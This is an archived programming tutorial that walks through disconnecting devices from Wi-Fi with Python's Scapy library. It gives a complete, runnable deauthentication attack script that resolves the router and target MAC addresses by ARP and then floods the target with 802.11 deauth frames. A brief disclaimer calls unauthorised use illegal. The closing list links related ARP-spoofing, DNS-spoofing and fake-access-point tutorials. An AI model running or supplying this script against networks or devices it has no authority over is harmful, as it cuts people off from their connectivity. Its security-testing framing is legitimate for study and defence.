The Wayback Machine - https://web.archive.org/web/20240528095314/https://www.geeksforgeeks.org/how-to-disconnect-devices-from-wi-fi-using-scapy-in-python/
Open In App

How to Disconnect Devices from Wi-Fi using Scapy in Python?

Last Updated : 05 Jun, 2023
Improve
Improve
Like Article
Like
Save
Share
Report

Without permission, disconnecting a device from a Wi-Fi network is against the law and immoral. Sometimes, you might need to check your network’s security or address network problems. You may send a de-authentication packet to disconnect devices from Wi-Fi using Scapy, a potent Python packet manipulation module. This tutorial will look at utilizing Python’s Scapy to disconnect devices from Wi-Fi.

Understanding Deauthentication Packets

In Wi-Fi networks, a de-authentication packet is a management frame that cuts off a client device from an access point. When a client device joins a Wi-Fi network, it periodically transmits “beacon” frames to the access point to keep the connection going. To verify the connection, the access point, in turn, transmits “probe response” packets to the client device. A client device disconnects from the Wi-Fi network when a de-authentication packet is issued, simulating an unlawful disconnect.

Installing Scapy

Installing Scapy is necessary before we can use it to send de-authentication packets. The Python package installer, pip, may be used to set up Scapy. Run the following command in a terminal or command prompt:

pip install scapy
Installing scapy

Installing Scapy

Installing Npcap

Besides Scapy, You need to install Npcap, which is used for packet capture (and sending). You can download Npcap here:- https://npcap.com/#download

Npcap

Installing NPCap

Disconnecting Devices from Wi-Fi using Scapy

disconnect_user(mac_address, access_point, interface)

This function sends de-authentication packets to the MAC address of the target device. The “interface” parameter uses the network interface’s name for transmitting the de-authentication frames. At the same time, the “mac_address” and “access_point” arguments specify the MAC addresses of the access point and the target device, respectively. The function builds the de-authentication packet using the “RadioTap” and “Dot11Deauth” classes from the Scapy library. Then it sends the packets using the “sendp” function.

Python3




def disconnect_user(mac_address, access_point, interface):
    packet = RadioTap() / Dot11(addr1=mac_address, 
                     addr2=access_point,
                     addr3=access_point)/ Dot11Deauth(reason=7)
    sendp(packet, inter=0.01, count=100, 
          iface=interface, verbose=1)


get_mac_address(ip_address)

This method sends an ARP request to the given IP address. The “ip_address” parameter represents the IP address to submit the ARP request. The “sr1” function is used to transmit the packet and receive the ARP response, while the “ARP” class from the Scapy library is used to build the ARP request packet. The function returns the related MAC address if an ARP response is received; else, it returns ” None.”

Python3




def get_mac_address(ip_address):
    arp_request = ARP(pdst=ip_address)
    arp_response = sr1(arp_request, 
                       timeout=1, verbose=False)
    if arp_response is not None:
        return arp_response.hwsrc
    else:
        return None


Output:

Getting MAC Address

Getting Mac addr

getting_ip_of_access_point()

This function returns the IP address of the default gateway or access point. The function uses the “conf.route.route” method from the Scapy library to get the routing details for the IP address “8.8.8.8”. The IP address of the gateway or access point is then returned using the routing data.

Python3




def getting_ip_of_access_point():
    return scapy.conf.route.route("8.8.8.8")[2]


Output:

Getting IP access point

Getting Ip Address of Access Point

getting_ip_of_this_device()

This function returns the current device’s IP address. The function uses  “conf.route.route” method from the Scapy library to get the routing details for the IP address “8.8.8.8”. The current device’s IP address is then returned from the routing data.

Python3




def getting_ip_of_this_device():
    return scapy.conf.route.route("8.8.8.8")[1]


Output:

getting device IP

Getting Ip address of this device

getting_interface(ip_address)

This Function returns the name and MAC address of the network interface connected to the given IP address using a dictionary. The IP address for which the accompanying network interface data should be obtained is given by the “ip_address” parameter. The function uses the Scapy library’s “faces” dictionary to get network interface data for every network interface. The IP addresses of each network interface are then compared to the given IP address as the program loops through the network interfaces. The function returns a dictionary with the name and MAC address of the matched network interface if a match is discovered.

Python3




def getting_interface(ipaddress):
    for interface in ifaces.values():
        if interface.ip == ipaddress:
            return {"name":interface.name,"mac":interface.mac}


Output:

getting interface IP

Getting Interface using device IP address

Complete Code

Python3




from scapy.all import *
import scapy.all as scapy
  
def disconnect_user(mac_address, access_point,interface):
    packet = RadioTap() / Dot11(addr1=mac_address, 
                                addr2=access_point, 
            addr3=access_point) / Dot11Deauth(reason = 7)
    sendp(packet, inter=0.01, 
          count=100, iface=interface, 
          verbose=1)
  
  
def get_mac_address(ip_address):
    arp_request = ARP(pdst=ip_address)
    arp_response = sr1(arp_request, 
                     timeout=1, verbose=False)
    if arp_response is not None:
        return arp_response.hwsrc
    else:
        return None
      
def getting_ip_of_access_point():
    return scapy.conf.route.route("8.8.8.8")[2]
  
def getting_ip_of_this_device():
    return scapy.conf.route.route("8.8.8.8")[1]
  
def getting_interface(ipaddress):
    for interface in ifaces.values():
        if interface.ip == ipaddress:
            return {"name":interface.name,
                    "mac":interface.mac}
  
      
if __name__ == '__main__':
  
    devce_ip = '192.168.8.164'
    router_ip = getting_ip_of_access_point()
    interface = getting_interface(
       getting_ip_of_this_device())
    mac_address_access_point = get_mac_address(
            router_ip)
    mac_address_device = get_mac_address(
            devce_ip)
      
    print("MAC Address of Access Point : ",
          mac_address_access_point)
    print("MAC Address of Device : ",
          mac_address_device)
    print("Starting Deauthentication Attack on Device : ",
          mac_address_device)
    disconnect_user(mac_address_device, 
         mac_address_access_point,interface['name'])


Final output

Final Output (Full)

Video Guide

Observation 

There are a few reasons why a device might not disconnect even when a piece of code occasionally functions correctly:

  • Using a protected management frame (PMF), the apparatus PMF, a security feature that adds an additional layer of security to management frames, including de-authentication frames, is supported by some modern Wi-Fi devices. The de-authentication frames you’re sending might not affect the device you’re attempting to disconnect from if it uses PMF.
  • When a client device is unauthenticated, it often tries to reconnect to the access point right away. This indicates that the device is reconnecting too soon. If the device reconnects too rapidly, it might not stay offline long enough for you to notice.


Similar Reads

Finding All Wifi-Devices using Scapy Python
Scapy is a library supported by both Python2 and Python3. It is used for interacting with the packets on the network. It has several functionalities through which we can easily forge and manipulate the packet. Through scapy module, we can create different network tools like ARP Spoofer, Network Scanner, packet dumpers, etc. This module can be used
3 min read
Matplotlib.pyplot.disconnect() in Python
Matplotlib is a library in Python and it is numerical - mathematical extension for NumPy library. Pyplot is a state-based interface to a Matplotlib module which provides a MATLAB-like interface. matplotlib.pyplot.disconnect() Function The disconnect() function in pyplot module of matplotlib library is used to disconnect the callback with id cid. Sy
2 min read
Network Scanning using scapy module - Python
Scapy is a library supported by both Python2 and Python3. It is used for interacting with the packets on the network. It has several functionalities through which we can easily forge and manipulate the packet. Through scapy module we can create different network tools like ARP Spoofer, Network Scanner, packet dumpers etc. This module can be used to
3 min read
Python - How to create an ARP Spoofer using Scapy?
ARP spoofing is a malicious attack in which the hacker sends falsified ARP in a network. Every node in a connected network has an ARP table through which we identify the IP address and the MAC address of the connected devices. What aim to send an ARP broadcast to find our desired IP which needs to be spoofed, and then spoof the gateway, as well as
6 min read
How to Create Fake Access Points using Scapy in Python?
In this article, we are going to discuss how to create fake access points using scapy module in python This task can be done with the help of the python package scapy-fakeap. The intention behind using this library is not only making Fake Access Point but also Testing of 802.11 protocols and its implementation. Scapy is a python module used for int
4 min read
How to Make a DNS Spoof attack using Scapy in Python?
In this article, we are going to discuss how to make a DNS Spoof attack using Scapy in Python. Before starting we need to know few points: DNS Server: The Domain Name System provides a way to match human-readable domain names into IP addresses. For example, when we search for google.com, the browses makes a DNS query to the DNS server so that it re
5 min read
How to Build a WiFi Scanner in Python using Scapy?
In this article, we are going to build a WiFi Scanner in Python using Scapy. WiFi Scanning or Network scanning refers to the scanning of the whole network to which we are connected and try to find out what are all the clients connected to our network. We can identify each client using their IP and MAC address. We can use ARP ping to find out the al
3 min read
How to Detect ARP Spoof Attack using Scapy in Python?
ARP Spoofing is also known as ARP Poisoning which is a type of cyberattack in which a malicious user sends falsified ARP (Address Resolution Protocol) messages over a LAN (Local Area Network). This results in the linking of an attacker's MAC Address with the IP Address of a legitimate computer or server on the network. Here we'll perform passive mo
7 min read
How to make an ARP Spoofing attack using Scapy - Python
In this article, we are going to discuss the ARP Spoofing attack using Python programming. Before going deep into the code first let's understand some basic topics of what is ARP Spoofing and what it does. ARP Spoofing: The ARP spoofing is the technique to fool a computer or a device which accepts the ARP response packets even though the device doe
5 min read
Packet sniffing using Scapy
Scapy is a powerful and versatile packet manipulation tool written in python. Using scapy, a user will be able to send, sniff, dissect and forge network packets. Scapy also has the capability to store the sniffed packets in a pcap file. Using scapy, we will be able to handle tasks like trace routing, probing, scanning, unit tests, and network disco
3 min read
Article Tags :
Practice Tags :